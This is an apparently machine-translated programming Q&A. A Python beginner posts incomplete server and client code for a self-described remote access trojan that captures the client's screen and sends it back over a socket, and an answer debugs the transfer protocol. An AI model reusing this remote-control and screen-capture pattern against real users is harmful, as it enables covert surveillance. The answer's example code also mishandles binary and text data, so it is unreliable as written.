我的随机“冒泡”: 因此,在我开始之前,我需要您知道我是Python的新手。如果问题不是我想的那样,而是我的编程不佳,我感到抱歉。 因此,我正在制作一个像程序这样的简单RAT,其功能和内容将放入我正在从事的其他项目中。
问题:
我有一个服务器程序:
import sys
import time
import os
import base64
from PIL import ImageGrab
import socket
from subprocess import call
import random
import string
"""==========================================================="""
"""-=-=-=-=-=-=-=-=Making all functions needed=-=-=-=-=-=-=-=-"""
"""==========================================================="""
"""-----------The SEND function----------"""
def send_msg(m): #
clientsocket.send(m.encode("UTF-8")) #
"""--------------------------------------"""
"""-------------Generates a random word / String-----------------"""
def randomword(length): #
letters = string.ascii_lowercase #
return ''.join(random.choice(letters) for i in range(length)) #
"""--------------------------------------------------------------"""
"""---------------------------------------"""
def from_client(): #
from_c = clientsocket.recv(4096) #
from_client = from_c.decode("UTF-8") #
return from_client #
"""---------------------------------------"""
"""--------------------Recieve the Image----------------------"""
def recv_png(): #
ss_name = randomword(2) + "frms.png" #
with open(ss_name, 'wb') as file_to_write: #
while True: #
#data = clientsocket.recv(4096) #
#if not data: #
# break #
decoded_f = base64.b64decode(from_client()) #
file_to_write.write(decoded_f) #
file_to_write.close() #
break #
"""-----------------------------------------------------------"""
"""==========================================================="""
"""-=-=-=-=-=-=-=-=Establishing a Connection=-=-=-=-=-=-=-=-=-"""
"""==========================================================="""
#Declaring Variables:
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#ServerSocket Variable
HOST = socket.gethostname() #HOST
Variable
PORT = 1732 #PORT
Variable
#Connections:
serversocket.bind((HOST, PORT))
serversocket.listen(1)
print("+=+=+=+=+=+=++=+=+=+=+=+=+Ze' No0B RAT+=+=+=+=+=+=++=+=+=+=+=+=+")
clientsocket, addr = serversocket.accept()
print("Connected to: " + str(addr))
msg = input("What can I do for you?\n")
while True:
if msg == "screeny":
send_msg(msg)
recv_png()
msg = input("What can I do for you?\n")
注意:代码仍然不完整,只是尝试了筛选方法
然后我有了客户端程序:
import sys
import time
import os
import base64
from PIL import ImageGrab
import socket
from subprocess import call
import random
import string
"""=============================================================="""
"""-=-=-=-=-=-=-=-=-=-Making all functions needed-=-=-=--=-=-=-=-"""
"""=============================================================="""
"""------Clears the Screen-------"""
def clear(): #
if os.name=="nt": #
try: #
call(["cls"]) #
except: #
try: #
os.system("cls") #
except: #
pass #
else: #
try: #
call(["clear"]) #
except: #
try: #
os.system("clear") #
except: #
pass #
"""------------------------------"""
"""-------------Generates a random word / String-----------------"""
def randomword(length): #
letters = string.ascii_lowercase #
return ''.join(random.choice(letters) for i in range(length)) #
"""--------------------------------------------------------------"""
"""---------------------------------------------------------------"""
def connect(): #
while True: #
try: #
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
s.connect((host, port)) #
return s.makefile('w') #
except socket.error as e: #
log("socket error {} reconnecting".format(e)) #
time.sleep(5) #
"""---------------------------------------------------------------"""
"""-----The SEND function-----"""
def send_msg(m): #
s.send(m.encode("UTF-8")) #
"""---------------------------"""
"""-----------Take a screenshot-----------------"""
def screeny(): #
ss = ImageGrab.grab() #
ss_name = (randomword(4) + "frmc.png") #
ss.save(ss_name) #
#
upload_file(ss_name) #
send_msg("Done.") #
"""---------------------------------------------"""
"""---------------------Upload a File---------------------"""
def upload_file(file): #
with open(file, 'rb') as file_to_send: #
cryptedFile = base64.b64encode(file_to_send.read()) #
send = s.send(cryptedFile) #
file_to_send.close() #
return send #
"""-------------------------------------------------------"""
"""===================================================================="""
"""-=-=-=-=-=-=-=--=-=-=-=-=Making a connection=-==-=-=--=-=-=-=-=---=-"""
"""===================================================================="""
#Declaring Variables
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #The Socket Variable
HOST = socket.gethostname() #The HOST Variable
PORT = 1732 #The PORT Variable
Connected = False
while Connected == False: #While not connected
try: #Try to:
s.connect((HOST, PORT)) #Connect
Connected = True #Change Connect Status
except: #If failed or Error:
time.sleep(10) #Wait for 10
if Connected == True: #If Connected:
print("Successfully Connected.") #Tell the Client
"""==================+================================================"""
"""-=-=-==-=-=-=-=-=-=-=Do what the Server says=-=-=-=-=-=-=-==-=-=-=-"""
"""==================================================================="""
#Declaring Variables
serv_recv = s.recv(4096) #Recieve from Server
serv_said = serv_recv.decode("UTF-8") #Decode what Server said
#The " if's ":
while serv_said != "quit":
if serv_said == "screeny": #If server said "screeny"
screeny() #Then Execute the "Screeny" function
elif serv_said == "clear": #Or if Server said "clear"
clear() #Then execute the "clear" function
此外,不完整 这就是问题。当我运行这两个代码并将“ screeny”从服务器发送到客户端时,客户端会返回“完成”。再次问我要什么。但是,客户端需要多个屏幕截图,并且仅发送一个。并且它发送的一个屏幕截图不完整。喜欢它的怪异,我无法解释。 我真的非常感谢你们的任何帮助。请告诉我我在做什么错。我还在学习。
答案 0 :(得分:0)
服务器端:from_client()
仅从套接字读取4096字节,并且recv_png()
仅调用一次from_client()
,因此,您将只收到base64编码的前4k图片。
客户端:while serv_said != "quit"
循环永远不会从服务器接收另一条命令。实际上,serv_said
在该循环中永远不会改变...
但是,您真正的问题要深得多。您正在尝试实现protocol,为此,除其他外,您需要有关双方何时完成通话(在您的特定情况下,何时图像传输完成)的规则。最简单的方法可能是让发件人事先宣布邮件的大小:
def send_file(filename):
with open(filename) as f:
content = base64.b64encode(f.read())
content_size = len(content)
s.send("{:9}".format(content_size)) # send size header
s.send(content)
def recv_file(filename):
content_size = int(s.recv(9)) # recv size header
content = ""
while len(content) < content_size:
block = s.recv(4096)
content += block
with open(filename, "w") as f:
f.write(base64.b64decode(content))
# note: no close - that's done automatically by leaving the "with" block
(侧节点:为提高可读性(和readability counts),在函数周围放下ASCII美术框架,并证明PEP8之后非常有用。我建议每个Python学习者阅读PEP8仔细地并经常反思它。它确实可以帮助您理解自己的代码。对于我自己的代码,我什至black强制执行PEP8。)